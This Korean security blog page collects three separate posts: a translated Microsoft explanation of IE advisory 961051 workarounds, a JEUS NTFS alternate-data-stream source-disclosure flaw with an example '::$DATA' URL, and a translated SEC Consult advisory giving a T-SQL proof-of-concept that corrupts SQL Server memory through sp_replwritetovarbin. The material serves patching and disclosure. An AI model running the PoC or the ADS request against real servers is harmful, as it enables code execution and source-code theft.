이 글은 마이크로소프트 SVRD의 Clarification on the various workarounds from the recent IE advisory 를 번역한 것입니다.

오늘 마이크로소프트는 보안 권고문 961051의 임시 대응책 부분을 개정했습니다. 이 글에서는 여러분의 컴퓨터 보안을 위해, 이번 취약점에 대한 좀 더 자세한 정보와 추가적인 임시 대응책에 대한 상세한 설명을 다루도록 하겠습니다.

취약점 정보

인터넷 익스플로러가 DHTML 데이터 바인딩을 처리할 때 발생하는 메모리 손상이 이 취약점의 원인입니다. 이는 현존하는 모든 버전의 IE에 해당됩니다. 이 취약점을 악용하는 악성 HTML 코드는 IE로 하여금 데이터 바인딩 객체 배열을 생성하도록 하고, 일부를 해제한 다음, 이전에 해제된 객체를 참조하도록 합니다. 이 취약점 유형은 유효하지 않은 포인터를 참조하기 전에 공격자가 힙 메모리의 데이터를 제어할 수 있기 때문에 공격이 가능한 것입니다.

어떤 임시 대응책을 적용해야 하나요?

이번 권고문은 총 9개의 임시 대응책을 설명하고 있습니다. 저희는 여러분이 좀 더 정교한 방법으로 취약한 코드에 이르는 경로를 차단할 수 있도록 몇 가지 대응 방안을 더 준비했습니다. 현재 IE8 만이 데이터 바인딩 기능을 비활성화할 수 있는 옵션을 제공합니다. 그러므로 여러분이 이전 버전의 IE를 사용하신다면, 다음 세 가지 조치를 취하셔야 합니다.

 • (A) OLEDB를 통해 MSHTML.dll의 취약 코드에 접근하지 못하도록 차단하여 공격을 방어합니다
 • (B) 이 취약점에 대응하는 최신 보안 설정을 적용합니다
 • (C) 힙 스프레이를 매우 어렵게 만듭니다

아래 표는 이번 권고문에 포함된 임시 대응책이 각각 어떤 보안을 제공하는가를 나타냅니다.

A열에 해당하는 임시 대응책을 적용하는 것으로 최근 유행하고 있는 공격을 막을 수 있습니다. 그러나 이 취약점을 포괄적으로 보호할 수 있도록 B열의 임시 대응책도 적용하실 것을 권고합니다.

왜 OLEDB 데이터 공급자 공격에 대한 대응책이 5가지나 있나요?

간단하게 임시 대응책 3~7을 살펴보겠습니다. 이 대응책들은 OLEDB 데이터 공급자 공격에 대한 각각 다른 해법입니다.

임시 대응책 6 & 7 – ACL을 이용하여 OLEDB32.dll의 등록을 해제하거나 비활성화합니다.

이 대응책들은 어제 발표된 권고문에 언급되었습니다. 물론 두 가지 모두 효과적인 방법이긴 하지만, 둘 다 지나치게 과격한 대응 방법입니다. 이 조치를 취하면 OLEDB32.dll에 의존하는 모든 응용 프로그램이 동작하지 않습니다.

5 – OLEDB32.dll의 행 위치 기능을 비활성화합니다.

조사 결과, 하나의 OLEBD32 COM 객체를 비활성화하는 것만으로 감염된 코드 경로로의 접근을 차단할 수 있다는 것이 밝혀졌습니다. 권고문에는 임시 대응책 6/7이 계속 포함될 예정입니다만, 임시 대응책 5는 6/7만큼 효과적이면서 피해 위험성은 더 낮기 때문에 사실상 더 나은 방법입니다.

4 – 무결성 수준 ACL로 IE가 OLEDB32.dll을 사용하는 것을 제한합니다.

이 대응책은 OLEDB 데이터 공급자로의 접근을 막는 또 다른 방법입니다. 이 방법의 장점은 IE의 접근만을 차단하고, 단독으로 실행되는(stand-alone) 데이터 접근 응용 프로그램을 방해하지 않는다는 것입니다. 그러나 이 방법은 윈도우 비스타/윈도우 서버 2008의 사용자 계정 컨트롤(UAC)와 IE 보호 모드가 둘 다 활성화된 상태(기본 설정)에서만 적용할 수 있습니다. 이 글에서는 이 기법에 대하여 조금 더 자세히 살펴보도록 하겠습니다.

3 – XML Island 기능을 비활성화합니다.

OLEDB 데이터 공급자를 목표로 공격하려면 OLEDB32.dll 뿐만 아니라 msxml3.dll도 필요합니다. 저희는 초기에 msxml3.dll을 제거하거나 ACL로 차단하여 취약점을 공격하지 못하도록 하는 방안을 고려했었습니다. 그렇지만 msxml3.dll을 제거하면 제대로 동작하지 않는 것이 너무 많습니다. 대신 XML Data Island CLSID를 비활성화하게 되면 IE에서만 msxml3.dll을 로딩하지 못하도록 할 수 있습니다. 그리고 XML Data Island 기능을 사용하는 웹사이트가 그리 많지 않으므로, 이것이 A열에 해당하는 대응책 중 모든 플랫폼에서 동작하면서도 가장 부작용이 적은 방안이 되겠습니다.

무결성 수준 ACL 임시 대응책에 대한 상세 정보

이 기법은 IE가 기본 설정 상태에서 보호 모드가 적용된다는 사실에 기반합니다. 이는 iexplore.exe 프로세스가 낮은 무결성 수준에서 실행된다는 것을 의미합니다. 좀 더 자세한 정보는 이 링크를 참조하세요. 링크된 글에서 언급된 것과 같이, 무결성 메커니즘은 낮은 무결성 수준의 프로세스가 높은 무결성 수준에서 얻을 수 있는 객체(파일 등)에 기록하는 것을 차단할 수 있습니다. 해당 글에서 언급되지는 않았지만, 사실 무결성 메커니즘을 활용하면 낮은 무결성 수준에서 동작하는 프로세스의 기록은 물론 읽기 와 실행도 차단할 수 있습니다. 이렇게 하려면 특정 무결성 수준 항목을 객체(이 경우 OLEDB32.dll)의 ACL(Access Control List, 접근 통제  목록)에 적용하면 됩니다. 구체적인 적용 방법은 이 포스트의 뒷부분에서 다시 언급하겠습니다.

이 대응책을 적용할 때 주의해야 하는 것은, IE가 반드시 보호 모드가 활성화된 상태로 동작하고 있어야 한다는 점과, 윈도우에 UAC(사용자 계정 컨트롤)이 적용되어 있어야 한다는 점입니다. IE는 아래 화면과 같이 하단의 상태 표시줄에 보호 모드 작동 여부를 표시하므로, 보호 모드의 상태를 손쉽게 확인할 수 있습니다.

임시 대응책 적용하기(윈도우 비스타 및 이후에 출시된 OS에만 적용됩니다)

먼저 첨부된 파일을 다운받고 임의의 폴더에 압축을 해제합니다. 운영체제가 32비트라면 BlockAccess_x86.inf 파일을, 64비트라면 BlockAccess_x64.inf 파일을 사용합니다. 어떤 운영체제를 사용하는지 잘 모른다면 시작->제어판->시스템을 순서대로 클릭하고 '컴퓨터 종류' 항목을 참조하십시오.

다음으로, 관리자 권한으로 명령 프롬프트를 실행합니다. 조금 전에 파일을 저장해 둔 폴더로 이동하여, 다음 명령어를 실행합니다.

    SecEdit /configure /db BlockAccess.sdb /cfg

명령어를 실행하면 다음과 같은 결과가 표시됩니다.

    The task has completed successfully.
    See log %windir%\security\logs\scesrv.log for detail info.

SecEdit는 BlockAccess.sdb라는 이름의 파일을 해당 폴더에 생성합니다. 이 파일과 inf파일은 삭제해도 괜찮습니다.

임시 대응책 검증하기

Icacls 명령을 이용하여 임시 대응책이 적용되었는지 간단하게 알아볼 수 있습니다. 32비트 운영체제를 사용 중이라면, 다음 명령을 실행하기만 하면 됩니다.

    icacls "%ProgramFiles%\Common Files\System\Ole DB\oledb32.dll"

반면 64비트 운영체제를 사용 중이라면, icacls 명령을 두 번 실행해야 합니다. 한번은 32비트 버전의 OLEDB32.dll, 나머지 한번은 64비트 버전의 OLEDB32.dll에 대한 것입니다. 이 경우에 해당하는 명령은 다음과 같습니다.

    icacls "%ProgramFiles%\Common Files\System\Ole DB\oledb32.dll"
    icacls "%ProgramFiles(x86)%\Common Files\System\Ole DB\oledb32.dll"

icacls를 실행한 후, 출력되는 내용에서 아래와 유사한 형태가 있는지 확인합니다.

    Mandatory Label\Medium Mandatory Level:(NW,NR,NX)

위와 같은 내용이 존재하고 NR/NX값이 모두 포함되어 있다면, 임시 대응책이 성공적으로 적용된 것입니다. 그러나 이 줄 자체가 없거나, NR/NX값 중 하나가 없다면 임시 대응책이 적용되지 않은 것입니다.

임시 대응책 적용 취소하기

첨부된 파일을 다운받고 임의의 폴더에 압축을 해제합니다. 이번에는 UnblockAccess_x86.inf(32비트용)와 UnblockAccess_x64.inf(64비트용)를 사용합니다. 다음으로, 관리자 권한으로 명령 프롬프트를 실행합니다. 조금 전에 파일을 저장해 둔 폴더로 이동하여 다음 명령을 실행합니다.

    SecEdit /configure /db UnblockAccess.sdb /cfg

임시 대응책을 적용할 때와 비슷한 결과가 출력됩니다. UnblockAccess.sdb와 inf파일은 삭제해도 괜찮습니다

- by Andrew Roths, Jonathan Ness, Chengyun

■첨부파일: oledb32.zip

이 글은 다음 링크들의 정보를 기반으로 작성되었습니다.

• TmaxSoft JEUS Alternate Data Stream File Disclosure Vulnerability
• TmaxSoft JEUS Alternate Data Stream File 취약점
• Microsoft Security Bulletin (MS98-003)

이 취약점은 NTFS를 사용하는 MS 윈도우 환경에서 소스가 노출되는 문제를 안고 있습니다. NTFS의 ADS(Alternate Data Stream)에 의해 JEUS에서 test.jsp::$DATA와 같은 요청을 일반 파일로 인식되어 발생하게 됩니다. 이 취약점은 과거 IIS 취약점과 유사합니다. 단순히 http://www.target.com/target.jsp::$DATA와 같이 URL 요청을 보내는 것만으로도 쉽게 접근이 가능합니다.

조건은,

• 파일명을 정확히 알아야 하며,
• 읽기 접근 권한이 풀려 있어야 하고,
• 파일이 NTFS 파티션에 있어야 합니다.

NTFS는 하나의 파일에 대해 여러개의 데이터 스트림을 지원합니다. 이러한 속성을 이용하면 같은 이름의 파일에 여러개의 데이터 스트림을 저장할 수 있게 되고, 해당 파일에 다른 데이터(혹은 데이터 스트림)을 내장할 수 있게 됩니다. 바이러스 프로그램들이 이러한 방법을 통해 자신을 숨기기도 하며, 이를 찾아내기 위해 체크썸값을 이용해 변조여부를 확인하기도 합니다.

NTFS를 사용하고 있는 MS 윈도우 환경에서 다음과 같은 방법으로 쉽게 이해할 수 있습니다.

./> echo "test file" > test.txt
./> echo "another data stream" > test.txt:another
./> more < test.txt:another
./> more < test.txt
./> more < test.txt::$DATA

위의 테스트와 같이 NTFS에서는 test.txt::$DATA가 실제 파일의 메인 데이터 스트림을 가리키는 것을 알 수 있습니다. 이번에 발생한 취약점은 JEUS가 target.jsp::$DATA를 JSP 소스 파일로 인식로 보지 않고 일반 파일로 인식하게 되어, 해당 파일의 내용을 보여주는 문제점을 가진 것 입니다.

이번 취약점에 대한 패치는 티맥스소프트의 테크넷을 통해 얻을 수 있습니다.

마이크로소프트 SQL 서버 제품의 제로데이 취약점이 12월 9일 공개되었습니다. 원래 이 취약점을 올해 4월에 마이크로소프트에 알려줬으나, 지난 9월부터 의사소통에 문제가 있어서 취약점을 공개하게 되었다고 합니다. 마이크로소프트가 패치를 만들긴 했으나 아직 배포하지 않고 있다고 합니다. 이하 글은 SEC Consult의 보안 권고문을 번역한 것입니다.

취약점은 sp_replwritetovarbin 확장 프로시저에서 발견되었습니다. 이 프로시저로 초기화되지 않은 매개변수를 넘기면 원하는 위치의 메모리를 덮어쓸 수 있습니다. 윈도우 버전에 따라 다르지만, 이 취약점을 이용하여 SQL 서버 프로세스의 권한으로 임의의 코드를 실행할 가능성이 있습니다. 이 취약점은 SQL 서버 2000과 2005에서 확인되었으며, 2008은 아직 검증되지 않은 상태입니다.

아래 T-SQL 스크립트를 이용하여 취약 여부를 확인할 수 있습니다.

DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT

SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
  @end_offset output,
  @vb_buffer output,
  @vb_bufferlen output,'''

SET @val = CHAR(0x41)

SET @counter = 0
WHILE @counter < 3000
BEGIN
  SET @counter = @counter + 1
  SET @buf = @buf + @val
END

SET @buf = @buf + ''',''1'',''1'',''1'',
''1'',''1'',''1'',''1'',''1'',''1'''

EXEC master..sp_executesql @buf

이 코드는 액세스 위반 예외를 발생시킵니다. (0x41414141 주소에 쓰기 발생) 실험 환경에서는 임의의 코드를 실행하는데 성공했습니다.

이 확장 프로시저를 쓰지 않는다면 제거하시기 바랍니다. 관리자 권한으로 아래 명령을 내려서 확장 프로시저를 제거할 수 있습니다. "SQL Server에서 확장 저장 프로시저 제거" 문서도 참고하시기 바랍니다.

execute dbo.sp_dropextendedproc 'sp_replwritetovarbin'